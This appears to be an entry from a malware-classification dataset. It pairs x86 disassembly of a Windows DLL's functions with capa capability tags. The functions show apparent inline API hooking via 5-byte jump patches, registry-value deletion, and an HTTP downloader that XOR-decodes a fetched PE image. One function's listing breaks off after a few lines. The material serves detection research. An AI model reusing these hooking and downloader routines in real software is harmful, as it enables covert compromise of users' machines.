joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008ca0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
lea edx, [esp]
mov dword [0x100296e8], eax
push esi
mov esi, ecx
mov ecx, dword [esp + 0x110]
push 0x104
push edx
push 0
mov dword [0x100296e4], ecx
mov dword [0x100296e0], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 4]
push 0x5c
push eax
call fcn.100194f0
inc eax
push 0x10001660
push eax
call fcn.10019410
test eax, eax
je 0x10008d7b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, esi
mov dword [0x10029ba4], eax
call fcn.10009910
test eax, eax
je 0x10008d7b
push edi
mov ecx, 8
xor eax, eax
mov edi, 0x100295b8
rep stosd dword es:[edi], eax
mov ecx, 8
mov edi, 0x10029658
rep stosd dword es:[edi], eax
mov ecx, 8
mov edi, 0x10029638
rep stosd dword es:[edi], eax
mov ecx, 8
mov edi, 0x10029618
rep stosd dword es:[edi], eax
mov ecx, esi
call fcn.10009770
push 0
push 0
push 0
push 0x10009900
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x10029b48], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
pop esi
add esp, 0x104
ret 0xc
Function at 0x1000a110
Capabilities:
Delete file

Disassembly:
sub esp, 0x184
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x10003e28]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push ecx
call fcn.10019dd0
test eax, eax
jne 0x1000a149
pop edi
add esp, 0x184
ret
lea edi, [esp + 4]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov edx, ecx
mov esi, edi
mov edi, 0x1002af74
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x1002aff4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x8c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x88]
push 0x5c
push edx
call fcn.100194f0
test eax, eax
pop esi
je 0x1000a1d1
mov byte [eax + 1], 0
lea eax, [esp + 0x84]
push 0x10001830
push eax
call fcn.10019520
jmp 0x1000a1e3
lea ecx, [esp + 0x84]
push 0x10001830
push ecx
call fcn.10019570
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
pop edi
add esp, 0x184
ret

Function at 0x1000a200
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
sub esp, 0x108
mov dword [0x1002ac1c], eax
lea eax, [esp + 4]
mov dword [0x1002ac18], edx
push esi
push 0x104
push eax
push 0
mov dword [0x10029be8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x5c
push ecx
call fcn.100194f0
lea esi, [eax + 1]
push 0x10001854
push esi
call fcn.10019410
test eax, eax
je 0x1000a2a0
mov eax, dword [0x1002b2bc]
test eax, eax
jne 0x1000a291
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1002b2bc], eax
mov eax, dword [0x1002b2c8]
test eax, eax
jne 0x1000a291
lea edx, [esp + 4]
push edx
push 0
push 0
push 0x1000a3e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x1002b2c8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
push 0x1000184c
push esi
call fcn.10019410
test eax, eax
je 0x1000a34c
lea eax, [esp + 8]
mov byte [esi], 0
push eax
push 0x10001838
push 0x1002b3d0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x1002b2bc]
add esp, 0xc
test eax, eax
jne 0x1000a33d
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1002b2bc], eax
mov ecx, 8
xor eax, eax
mov edi, 0x1002b0f4
rep stosd dword es:[edi], eax
mov byte [0x1002af54], al
mov eax, dword [0x1002b2c0]
test eax, eax
pop edi
jne 0x1000a33d
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0x1000a360
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 2
push eax
mov dword [0x1002b2c0], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [0x1002b2c0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1002b2b8], 0
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
xor eax, eax
pop esi
add esp, 0x108
ret 0xc
Function at 0x1000b3e0
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x2108
call fcn.100225f0
push esi
push edi
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push 0x5c
push ecx
call fcn.100194f0
test eax, eax
je 0x1000b43e
lea edx, [esp + 0xc]
push 0x10001830
push edx
mov byte [eax + 1], 0
call fcn.10019520
jmp 0x1000b44d
lea eax, [esp + 0xc]
push 0x10001830
push eax
call fcn.10019570
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x20]
push SysReAllocStringLen
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000b539
lea edx, [esp + 8]
push 0
push edx
lea eax, [esp + 0x118]
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push 0x10001974
push ecx
call fcn.100220c0
add esp, 8
test eax, eax
je 0x1000b539
lea edx, [esp + 0x110]
push 0x10001954
push edx
call fcn.100220c0
mov esi, eax
add esp, 8
test esi, esi
je 0x1000b539
push 0xd
push esi
call fcn.10022150
add esp, 8
test eax, eax
je 0x1000b539
push 0x10001954
mov byte [eax], 0
call fcn.100193f0
add eax, esi
push eax
call fcn.100226aa
add esp, 4
cmp eax, 0xffffffff
je 0x1000b539
cmp eax, 0x11
jg 0x1000b539
mov edi, dword [eax*4 + 0x10001790]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x2118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x2108
ret 8
pop edi
xor eax, eax
pop esi
add esp, 0x2108
ret 8
Function at 0x1000b560
Capabilities:
Accept command line arguments
Create thread
Delete registry value

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 0xc]
sub esp, 0x10c
mov dword [0x1002b5ec], eax
lea eax, [esp + 8]
mov dword [0x1002bd1c], edx
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0x118]
push 0x104
push eax
push 0
mov dword [0x1002b5e8], ecx
mov dword [0x1002b5e4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push 0x5c
push ecx
call fcn.100194f0
inc eax
push 0x10001a84
push eax
call fcn.10019410
test eax, eax
je 0x1000b704
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x10001a74
push eax
call fcn.100220c0
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [0x1002bc98], eax
mov eax, dword [0x1002bcc4]
test eax, eax
jne 0x1000b6f4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push 0x10001a58
push getpeername
mov dword [0x1002bcc4], eax
call esi
test eax, eax
jne 0x1000b6f4
mov eax, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push 0
push 0x10001a58
push getpeername
call esi
test eax, eax
jne 0x1000b66b
mov edx, dword [esp + 0xc]
push 0x10001a50
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov ecx, ebx
mov dword [0x1002bc68], 0
call fcn.1000bdb0
test eax, eax
pop edi
je 0x1000b6f4
mov eax, dword [0x1002bca8]
test eax, eax
jne 0x1000b6f4
mov eax, dword [0x1002bc94]
test eax, eax
jne 0x1000b6f4
mov eax, dword [0x1002bcec]
mov edx, 0x1000bd90
push 5
push 0x1002bd30
sub edx, eax
push eax
mov eax, dword [0x1002bcc4]
sub edx, 5
push eax
mov dword [0x1002bc94], 1
mov dword [0x10001a05], edx
call fcn.10019b50
mov ecx, dword [0x1002bcec]
mov edx, dword [0x1002bcc4]
push 5
push 0x10001a04
push ecx
push edx
call fcn.10019d20
push 0
push 0
push 0
push 0x1000b710
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov eax, 1
pop ebx
add esp, 0x10c
ret 0xc
xor eax, eax
pop ebx
add esp, 0x10c
ret 0xc
Function at 0x1000c910
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
sub esp, 0x104
mov dword [0x1002bd38], ecx
lea ecx, [esp]
mov dword [0x1002bd40], eax
mov eax, dword [esp + 0x110]
push esi
push 0x104
push ecx
push 0
mov dword [0x1002bd3c], edx
mov dword [0x1002bf4c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 4]
push 0x5c
push edx
call fcn.100194f0
lea esi, [eax + 1]
push 0x10001b68
push esi
call fcn.10019410
test eax, eax
jne 0x1000ca20
push 0x10001b5c
push esi
call fcn.10019410
test eax, eax
jne 0x1000ca20
push 0x10001b54
push esi
call fcn.10019410
test eax, eax
je 0x1000cacb
mov eax, dword [0x1002bf68]
test eax, eax
je 0x1000c9ae
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1002bf68], eax
call fcn.1000ce80
test eax, eax
je 0x1000cacb
mov eax, dword [0x1002bf64]
mov edx, dword [0x1002bf68]
mov ecx, 0x1000cd20
push 5
sub ecx, eax
push 0x1002c180
sub ecx, 5
push eax
push edx
mov dword [0x10001b45], ecx
call fcn.10019b50
mov eax, dword [0x1002bf64]
test eax, eax
je 0x1000cabc
push 0
push 5
push 0x10001b44
push eax
mov eax, dword [0x1002bf68]
push eax
call fcn.10019a20
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
lea ecx, [esp + 4]
push ecx
call fcn.1001a900
mov eax, dword [0x1002bf68]
test eax, eax
je 0x1000ca42
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1002bf68], eax
call fcn.1000cd50
test eax, eax
je 0x1000cacb
push 0
push 0
push 0
push 0x1000cf30
push 0x400
push 0
mov byte [0x1002bf80], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x1002bf70]
mov edx, 0x1000cd30
push 5
push 0x1002c188
sub edx, eax
push eax
mov eax, dword [0x1002bf68]
sub edx, 5
push eax
mov dword [0x10001b4d], edx
call fcn.10019b50
mov eax, dword [0x1002bf70]
test eax, eax
je 0x1000cabc
mov ecx, dword [0x1002bf68]
push 0
push 5
push 0x10001b4c
push eax
push ecx
call fcn.10019a20
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
pop esi
add esp, 0x104
ret 0xc
Function at 0x1000d430
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x108
lea edx, [esp + 4]
mov dword [0x1002c890], eax
push esi
push edi
mov edi, ecx
push 0x104
mov ecx, dword [esp + 0x11c]
push edx
push 0
mov dword [0x1002c88c], ecx
mov dword [0x1002c590], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x5c
push eax
call fcn.100194f0
lea esi, [eax + 1]
push 0x10001cb0
push esi
call fcn.10019410
test eax, eax
je 0x1000d49a
push 0x10001ca4
call fcn.10019c50
test eax, eax
je 0x1000d49a
push eax
call fcn.1001a750
push 0x10001ca4
push esi
call fcn.10019410
test eax, eax
je 0x1000d610
mov eax, dword [0x1002cd24]
mov dword [esp + 8], 0
test eax, eax
je 0x1000d4ce
pop edi
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, edi
mov dword [0x1002cd24], eax
call fcn.1000dee0
test eax, eax
je 0x1000d610
mov eax, dword [0x1002cd38]
mov ecx, 0x1000dec0
sub ecx, eax
mov esi, dword [0x1002cd4c]
sub ecx, 5
mov edx, 0x1000dea0
mov dword [0x10001c2d], ecx
mov ecx, dword [0x1002cd30]
sub edx, ecx
mov ecx, 0x1000da10
sub edx, 5
sub ecx, esi
mov dword [0x10001c35], edx
mov edx, dword [0x1002cd24]
push 5
push 0x1002cd8c
sub ecx, 5
push eax
push edx
mov dword [0x10001c3d], ecx
call fcn.10019b50
mov eax, dword [0x1002cd30]
mov ecx, dword [0x1002cd24]
push 5
push 0x1002cd94
push eax
push ecx
call fcn.10019b50
mov edx, dword [0x1002cd4c]
mov eax, dword [0x1002cd24]
push 5
push 0x1002cd9c
push edx
push eax
call fcn.10019b50
mov eax, dword [0x1002cd30]
test eax, eax
je 0x1000d5c4
mov ecx, dword [0x1002cd38]
mov edx, dword [0x1002cd24]
push 5
push 0x10001c2c
push ecx
push edx
call fcn.10019d20
mov eax, dword [0x1002cd30]
mov ecx, dword [0x1002cd24]
push 5
push 0x10001c34
push eax
push ecx
call fcn.10019d20
mov edx, dword [0x1002cd4c]
mov eax, dword [0x1002cd24]
push 5
push 0x10001c3c
push edx
push eax
call fcn.10019d20
mov eax, dword [0x1002cd7c]
test eax, eax
jne 0x1000d600
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x1000d620
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 2
push eax
mov dword [0x1002cd7c], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [0x1002cd7c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret 0xc

Function at 0x1000dee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push ebx
mov bl, 0x45
mov byte [esp + 0x25], bl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x31], bl
mov dl, 0xec
mov cl, 8
mov bl, 0xe4
push ebp
mov byte [esp + 9], dl
and al, 9
Function at 0x1000e5d0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
sub esp, 0x104
mov dword [0x1002d828], ecx
lea ecx, [esp]
mov dword [0x1002d8f0], eax
mov eax, dword [esp + 0x110]
push 0x104
push ecx
push 0
mov dword [0x1002d8ec], edx
mov dword [0x1002d8f4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp]
push 0x5c
push edx
call fcn.100194f0
inc eax
push 0x10001d60
push eax
call fcn.10019410
test eax, eax
je 0x1000e738
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000eb40
push 0x400
push 0
call esi
mov eax, dword [0x1002d914]
test eax, eax
je 0x1000e660
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1002d914], eax
call fcn.1000e9e0
test eax, eax
je 0x1000e72c
mov eax, dword [0x1002d91c]
mov ecx, 0x1000e930
sub ecx, eax
mov edx, 0x1000e950
sub ecx, 5
push 5
mov dword [0x10001d51], ecx
mov ecx, dword [0x1002d904]
push 0x1002d92c
sub edx, ecx
push eax
mov eax, dword [0x1002d914]
sub edx, 5
push eax
mov byte [0x1002d82c], 0
mov dword [0x10001d59], edx
call fcn.10019b50
mov ecx, dword [0x1002d904]
mov edx, dword [0x1002d914]
push 5
push 0x1002d934
push ecx
push edx
call fcn.10019b50
mov eax, dword [0x1002d904]
mov ecx, dword [0x1002d914]
push 5
push 0x10001d58
push eax
push ecx
call fcn.10019d20
mov edx, dword [0x1002d91c]
mov eax, dword [0x1002d914]
push 5
push 0x10001d50
push edx
push eax
call fcn.10019d20
push 0
push 0
push 0
push 0x1000e970
push 0x400
push 0
call esi
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
add esp, 0x104
ret 0xc

Function at 0x1000f0e0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x108
lea edx, [esp + 4]
mov dword [0x1002df94], eax
push esi
push edi
mov edi, ecx
push 0x104
mov ecx, dword [esp + 0x11c]
push edx
push 0
mov dword [0x1002df90], ecx
mov dword [0x1002dc98], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x5c
push eax
call fcn.100194f0
lea esi, [eax + 1]
push 0x10002524
push esi
call fcn.10019410
test eax, eax
je 0x1000f14a
push 0x10002514
call fcn.10019c50
test eax, eax
je 0x1000f14a
push eax
call fcn.1001a750
push 0x10002514
push esi
call fcn.10019410
test eax, eax
je 0x1000f1f2
lea ecx, [esp + 0xc]
push ecx
call fcn.1001a900
mov eax, dword [0x1002dfb0]
test eax, eax
je 0x1000f180
pop edi
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, edi
mov dword [0x1002dfb0], eax
call fcn.1000f4d0
test eax, eax
je 0x1000f1f2
mov eax, dword [0x1002dfe4]
mov edx, 0x1000f470
push 5
push 0x10002508
sub edx, eax
push eax
mov eax, dword [0x1002dfb0]
sub edx, 5
push eax
mov dword [0x10002509], edx
call fcn.10019d20
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x1000f490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x1002dff8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x108
ret 0xc
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret 0xc
Function at 0x10016780
Capabilities:
Enumerate threads
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x10029170
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push ebp
push edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x58]
xor ebx, ebx
push eax
push 4
mov dword [esp + 0x20], ebx
mov dword [esp + 0x34], 0x1c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, ebx
je 0x1001693d
lea ecx, [esp + 0x2c]
push ecx
push ebp
call sub.KERNEL32.dll_Thread32First
cmp eax, ebx
je 0x10016936
mov edi, dword [sym.imp.USER32.dll_EnumThreadWindows]
push esi
cmp dword [0x1002e8bc], ebx
jne 0x100167fe
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x3c]
cmp eax, edx
jne 0x10016922
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x1c]
push eax
push 0x100108a0
push ecx
call edi
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x10016922
push eax
call fcn.10010940
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x28], esi
je 0x10016831
mov edx, dword [esi]
push esi
call dword [edx + 4]
cmp esi, ebx
mov dword [esp + 0x54], ebx
je 0x10016910
mov dword [esp + 0x14], ebx
mov eax, dword [esi]
lea ecx, [esp + 0x14]
push ecx
push esi
mov byte [esp + 0x5c], 1
call dword [eax + 0x48]
cmp eax, ebx
jl 0x100168fe
mov ecx, dword [esp + 0x14]
xor eax, eax
cmp ecx, ebx
mov dword [esp + 0x18], eax
je 0x1001687e
mov edx, dword [ecx]
lea eax, [esp + 0x18]
push eax
push 0x100026e8
push ecx
call dword [edx]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x100168ef
mov dword [esp + 0x24], ebx
mov ecx, dword [esi]
lea edx, [esp + 0x24]
push edx
push esi
mov byte [esp + 0x5c], 3
call dword [ecx + 0x78]
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x54], 5
cmp eax, ebx
mov dword [esp + 0x20], ebx
je 0x100168be
mov ecx, dword [eax]
lea edx, [esp + 0x20]
push edx
push 0x10008488
push eax
call dword [ecx]
mov eax, dword [esp + 0x14]
push eax
lea eax, [esp + 0x16]
push eax
call fcn.100164d0
mov byte [esp + 0x54], 4
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x100168dc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp eax, ebx
mov byte [esp + 0x54], 1
je 0x10016902
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [esp + 0x14]
cmp ecx, ebx
mov byte [esp + 0x54], bl
je 0x10016910
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
cmp esi, ebx
mov dword [esp + 0x54], 0xffffffff
je 0x10016922
mov eax, dword [esi]
push esi
call dword [eax + 8]
lea ecx, [esp + 0x30]
push ecx
push ebp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100167e6
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x48]
pop edi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x48
ret 4
Function at 0x10016980
Capabilities:
Create thread

Disassembly:
sub esp, 0x104
mov ecx, 8
xor eax, eax
push esi
push edi
mov edi, 0x1002e020
rep stosd dword es:[edi], eax
mov ecx, 8
mov edi, 0x1002e0a0
rep stosd dword es:[edi], eax
mov eax, dword [0x1002e8c0]
test eax, eax
je 0x10016a0b
lea eax, [esp + 8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x5c
push ecx
call fcn.100194f0
lea edx, [eax + 1]
mov edi, 0x10002580
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x1c]
push SysReAllocStringLen
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10016960
push 0x400
push 0
call esi
push 0
push 0
push 0
push 0x10016960
push 0x400
push 0
mov dword [0x1002e89c], eax
call esi
push 0
push 0
push 0
push 0x10016960
push 0x400
push 0
call esi
mov edx, dword [0x1002e89c]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x1002e89c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov dword [0x1002e89c], 0
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x10017390
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
mov eax, 0x1118
call fcn.100225f0
push ebx
push ebp
push esi
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
xor ebp, ebp
push ebp
push ebp
stosw word es:[edi], ax
push ebp
push 4
push 0x1000383c
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebp
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
je 0x1001753a
mov eax, dword [esp + 0x112c]
push ebp
push 0x4000000
push ebp
push ebp
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x1001752e
lea ecx, [esp + 0x20]
push ebp
lea edx, [esp + 0x20]
push ecx
push edx
push 0x20000013
push ebx
mov dword [esp + 0x34], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10017513
cmp dword [esp + 0x1c], 0xc8
jne 0x10017513
lea eax, [esp + 0x10]
lea ecx, [esp + 0x128]
push eax
push 0x1000
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10017513
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x100174b8
lea edx, [esp + 0x24]
mov dword [esp + 0x18], 1
push edx
call fcn.1001aa30
test eax, eax
je 0x100174ab
lea eax, [esp + 0x24]
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.10019410
test eax, eax
jne 0x10017513
lea edx, [esp + 0x158]
push edx
jmp 0x100174b3
lea eax, [esp + 0x158]
push eax
call fcn.1001a9b0
cmp ebp, dword [esp + 0x1134]
ja 0x10017513
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x1001752e
mov edx, dword [esp + 0x1130]
mov eax, ecx
lea esi, [esp + 0x128]
lea edi, [edx + ebp]
lea edx, [esp + 0x128]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
add ebp, ecx
lea ecx, [esp + 0x10]
push ecx
push 0x1000
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
mov esi, dword [esp + 0x14]
jne 0x1001746d
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1118
ret 0x10
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push esi
call edi
mov eax, dword [esp + 0x1130]
xor ecx, ecx
mov edx, 0x400
mov cx, word [eax]
mov esi, dword [eax + 0x3c]
mov dword [eax + 0x3c], ecx
add ecx, eax
mov edi, dword [ecx]
add ecx, 4
xor edi, esi
dec edx
mov dword [ecx - 4], edi
jne 0x10017553
mov ecx, dword [eax + 0x3c]
mov byte [eax], 0x4d
mov byte [eax + 1], 0x5a
pop edi
mov byte [ecx + eax], 0x50
mov edx, dword [eax + 0x3c]
pop esi
mov byte [edx + eax + 1], 0x45
mov eax, dword [esp + 0x1130]
mov dword [eax], ebp
pop ebp
mov eax, 1
pop ebx
add esp, 0x1118
ret 0x10